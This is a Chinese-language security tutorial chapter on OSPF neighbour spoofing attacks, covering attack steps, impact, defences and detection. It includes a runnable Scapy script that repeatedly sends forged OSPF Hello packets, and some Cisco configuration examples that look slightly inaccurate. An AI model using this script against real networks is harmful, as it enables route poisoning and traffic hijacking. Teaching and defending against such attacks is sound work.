第3章 OSPF邻居欺骗攻击

3. OSPF邻居欺骗攻击：伪造Hello报文，建立非法邻居关系

大家好，我是你们的老朋友。今天我们来聊一个很有意思的话题——OSPF邻居欺骗攻击。

说实话，我在做安全评估的时候，发现很多运维人员对OSPF的安全配置并不上心。他们总觉得，路由协议嘛，能通就行。但我要告诉你，这种想法很危险。

3.1 攻击原理：Hello报文背后的秘密

OSPF邻居关系的建立，依赖的是Hello报文。两台路由器通过交换Hello报文，确认彼此的存在，然后才能进入后续的LSDB同步阶段。

攻击者要做的，就是伪造一个合法的Hello报文。说白了，就是冒充一台合法的路由器，跟目标设备建立邻居关系。

核心攻击条件：

攻击者必须位于OSPF的广播域内（同一网段）
需要知道目标OSPF区域的Area ID
需要匹配Hello报文中的关键参数（Hello Interval、Dead Interval等）
如果启用了认证，还需要破解或绕过认证机制

我遇到过这样一个案例：某企业的核心网络，OSPF区域配置了MD5认证。但运维人员图省事，把认证密码设成了"cisco123"。你想想看，这种密码跟没设有什么区别？

3.2 攻击流程：一步步建立非法邻居

攻击者伪造Hello报文，建立非法邻居关系，大致分这么几步：

嗅探阶段：攻击者监听网络中的OSPF Hello报文，收集目标路由器的Router ID、Area ID、邻居列表等信息
伪造阶段：构造一个合法的Hello报文，将源IP设为目标网段内未使用的IP地址，Router ID设为伪造值
注入阶段：向目标路由器发送伪造的Hello报文
建立阶段：目标路由器收到Hello报文后，如果参数匹配，就会进入Init状态，然后尝试建立邻居关系
维持阶段：攻击者需要持续发送Hello报文，维持邻居关系的存活

实战技巧：

我个人习惯在攻击前先做一次被动嗅探，观察一下网络中的Hello报文间隔。有些管理员会修改默认的Hello Interval（10秒），如果你用默认值去伪造，很容易被识破。

3.3 攻击工具与实现

这里我给大家展示一个简单的Python脚本，用Scapy库来伪造OSPF Hello报文：

#!/usr/bin/env python3
from scapy.all import *
import sys

def craft_ospf_hello(target_ip, area_id, router_id):
    """
    伪造OSPF Hello报文
    :param target_ip: 目标路由器接口IP
    :param area_id: OSPF区域ID
    :param router_id: 伪造的Router ID
    """
    
    # 构造IP层
    ip = IP(src="192.168.1.100", dst=target_ip)
    
    # 构造OSPF Hello报文
    ospf_hello = OSPF_Hello(
        mask="255.255.255.0",
        hellointerval=10,
        options=0x02,
        priority=1,
        deadinterval=40,
        router=router_id,
        backup=0,
        neighbors=[]
    )
    
    # 构造OSPF头部
    ospf = OSPF(
        version=2,
        type=1,  # Hello报文类型
        src=router_id,
        area=area_id,
        chksum=0,
        authtype=0,
        authdata=0
    )
    
    # 发送报文
    packet = ip / ospf / ospf_hello
    send(packet, verbose=False)
    print(f"[+] 已发送伪造Hello报文到 {target_ip}")

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("用法: python3 ospf_hello_attack.py <目标IP> <Area ID> <Router ID>")
        sys.exit(1)
    
    target = sys.argv[1]
    area = int(sys.argv[2])
    rid = sys.argv[3]
    
    # 持续发送Hello报文
    while True:
        craft_ospf_hello(target, area, rid)
        time.sleep(10)  # 每10秒发送一次

重要提醒：

这个脚本仅供学习和授权测试使用。未经授权对他人网络进行攻击是违法行为。我曾经见过有人因为好奇，在实验室外测试这个脚本，结果被请去喝茶了。

3.4 攻击效果分析

一旦攻击者成功建立了非法邻居关系，能做什么？我给大家列一下：

攻击效果	危害等级	说明
路由表污染	高	攻击者可以注入虚假LSA，篡改路由表
流量劫持	高	通过虚假路由，将流量引向攻击者控制的设备
拒绝服务	中	大量伪造Hello报文可能导致CPU过载
信息泄露	中	通过邻居关系获取网络拓扑信息

3.5 防御措施：如何保护你的OSPF网络

嗯，这里要注意，防御OSPF邻居欺骗攻击，不能只靠单一手段。我建议采用纵深防御的思路：

3.5.1 启用OSPF认证

这是最基础也是最有效的防御手段。OSPF支持两种认证方式：

简单认证：明文密码，不推荐使用
MD5认证：使用MD5哈希，相对安全

配置示例（Cisco设备）：

router ospf 1
 network 192.168.1.0 0.0.0.255 area 0
 area 0 authentication message-digest
 interface GigabitEthernet0/0
  ip ospf message-digest-key 1 md5 MySecureKey2024

3.5.2 使用被动接口

对于不需要建立OSPF邻居的接口，设置为被动接口：

router ospf 1
 passive-interface default
 no passive-interface GigabitEthernet0/0

3.5.3 限制邻居数量

在接口上限制最大邻居数量，防止攻击者建立大量虚假邻居：

interface GigabitEthernet0/0
 ip ospf neighbor maximum 5

我的经验之谈：

我曾经帮一家金融客户做安全加固，他们的OSPF网络完全没有认证。我建议启用MD5认证后，运维经理说"会不会影响性能？"我告诉他，MD5认证对CPU的消耗微乎其微，但带来的安全收益是巨大的。后来他们还是采纳了建议。

3.6 攻击检测方法

如果你怀疑网络中有人在搞OSPF邻居欺骗，可以通过以下方法检测：

检查邻居表：用show ip ospf neighbor查看是否有异常的邻居
分析Hello报文：抓包分析Hello报文的源IP和Router ID是否合理
监控CPU使用率：异常的OSPF报文可能导致CPU飙升
日志审计：开启OSPF的日志记录，查看邻居状态变化

3.7 知识体系总览

下面这张图，是我梳理的OSPF邻居欺骗攻击的知识体系。你可以把它当作一个快速参考：

好了，关于OSPF邻居欺骗攻击的内容，我就讲到这里。记住，安全是一个持续的过程，不是配置一次就一劳永逸的。希望今天的分享对你有帮助。

公众号:蓝海资料掘金营，微信deep3321